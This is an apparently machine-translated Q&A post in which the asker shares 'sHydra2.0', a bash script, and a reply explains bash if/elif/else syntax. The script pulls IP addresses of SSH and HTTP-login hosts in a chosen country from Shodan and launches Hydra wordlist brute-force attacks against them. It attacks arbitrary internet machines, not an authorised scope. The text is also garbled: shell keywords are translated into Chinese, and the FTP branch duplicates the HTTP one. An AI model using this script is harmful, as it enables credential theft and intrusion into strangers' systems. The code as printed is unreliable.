需要在脚本中进一步实现选择,所以如果 3 这样做

需要在脚本中进一步实现选择,所以如果 3 这样做

#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0 正在初始化" echo "请负责任地使用这个" echo "我对你做出的任何错误决定不负有责任" /bin/sleep 10 #!/bin /bash

echo -en "做出选择:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t做出选择:" read VAR

如果 [[ $VAR = 1 ]] 那么

原始代码下来##

要求提供 shodan 的 API 密钥

echo "SSH-Brute Selected" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar

echo "输入 2 个字母的国家代码.....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p'国家代码:' countvar

echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar

echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar

echo "SSH-Brute 初始化" shodan init $uservar

利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件

shodan 搜索 端口:22,国家:$countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1

wc -l <​​ $1 && echo "SSH 目标已加载"

/bin/sleep 5 echo “目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!"

/bin/sleep 5 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo

##倒计时函数秒=10; date1=$(( date +%s+ $秒)); while [ "$date1" -ge date +%s];做 echo -ne "$(date -u --date @$(($date1 - date +%s)) +%H:%M:%S)\r";完毕

##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”

Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##

Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi

else if [[ $VAR = 2 ]] then #http Brute 部分 新!

要求提供 shodan 的 API 密钥

/bin/sleep 5 echo "HTTP-Brute 正在进行中" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar /bin/sleep 5 echo "输入 2 个字母的国家/地区代码... .info@https://www.nationsonline.org/oneworld/country_code_list.htm" 读取 -p'国家/地区代码:' countvar

echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar

echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar

echo "HTTP 目标正在初始化" shodan init $uservar

利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件

shodan 搜索 端口:80,登录,国家:$countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1

wc -l <​​ $1 && echo "HTTP 目标已加载"

/bin/sleep 5 echo“HTTP 目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!"

/bin/sleep 10 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo

##倒计时函数秒=10; date1=$(( date +%s+ $秒)); while [ "$date1" -ge date +%s];做 echo -ne "$(date -u --date @$(($date1 - date +%s)) +%H:%M:%S)\r";完毕

##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”

Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi

###FTP 功能## else if [[ $VAR = 3 ]] then #FTP 新功能!

要求提供 shodan 的 API 密钥

/bin/sleep 5 echo "FTP-Brute 正在进行中" /bin/sleep 5 echo "输入 Shodan API-Key" read -p'API:' uservar /bin/sleep 5 echo "输入 2 个字母的国家/地区代码... .info@https://www.nationsonline.org/oneworld/country_code_list.htm" 读取 -p'国家/地区代码:' countvar

echo "输入用户名列表的绝对路径 ex: /usr/share/wordlists/..etc" read -p'用户名列表的路径:' ulvar

echo "输入密码列表的绝对路径 ex: /usr/share/wordlists/...etc" read -p'密码列表:' pwvar

echo "HTTP 目标正在初始化" shodan init $uservar

利用 shodan 搜索功能查找端口 22 并 grep 可用的 ip 地址并输出到文件

shodan 搜索 端口:80,登录,国家:$countvar,200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' > $1 ;排序 $1 | uniq -u > $1

wc -l <​​ $1 && echo "HTTP 目标已加载"

/bin/sleep 5 echo“HTTP 目标在范围内!” /bin/sleep 5 echo "启动序列即将开始..." echo "如果您害怕,请立即中止!" /bin/sleep 10 read -rsn1 -p“最后一次中止机会,按任意键继续”变量;echo

##倒计时函数秒=10; date1=$(( date +%s+ $秒)); while [ "$date1" -ge date +%s];做 echo -ne "$(date -u --date @$(($date1 - date +%s)) +%H:%M:%S)\r";完毕

##notifiers## read -rsn1 -p“你知道你注册了什么,按任意键继续”变量;echo echo“立即启动”

Hydra 命令,如果不起作用,请将绝对路径更改为用户名列表和密码列表##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##将文件输出到当前目录# echo "文件保存在: ${PWD}" fi

答案1

Bash 中 if 语句的基本语法是:

if ...; then
  statement
elif ...; then
  statement
else
  statement
fi

举个例子:

if [ ! "$FOO" ]; then
  echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
  echo "Foo equals 'yes'."
else
  echo "Foo is set but does not equal 'yes'.";
fi

如果不需要elif(else-if) 和子句,可以省略它们:else

if [ "$FOO" = "yes" ]; then
      echo "Foo equals 'yes'."
fi

有些人喜欢稍微不同的格式,在 if 子句末尾不使用“;then”:

if [ "$FOO" = "yes" ]
then
  echo "Foo equals 'yes'."
fi

相关内容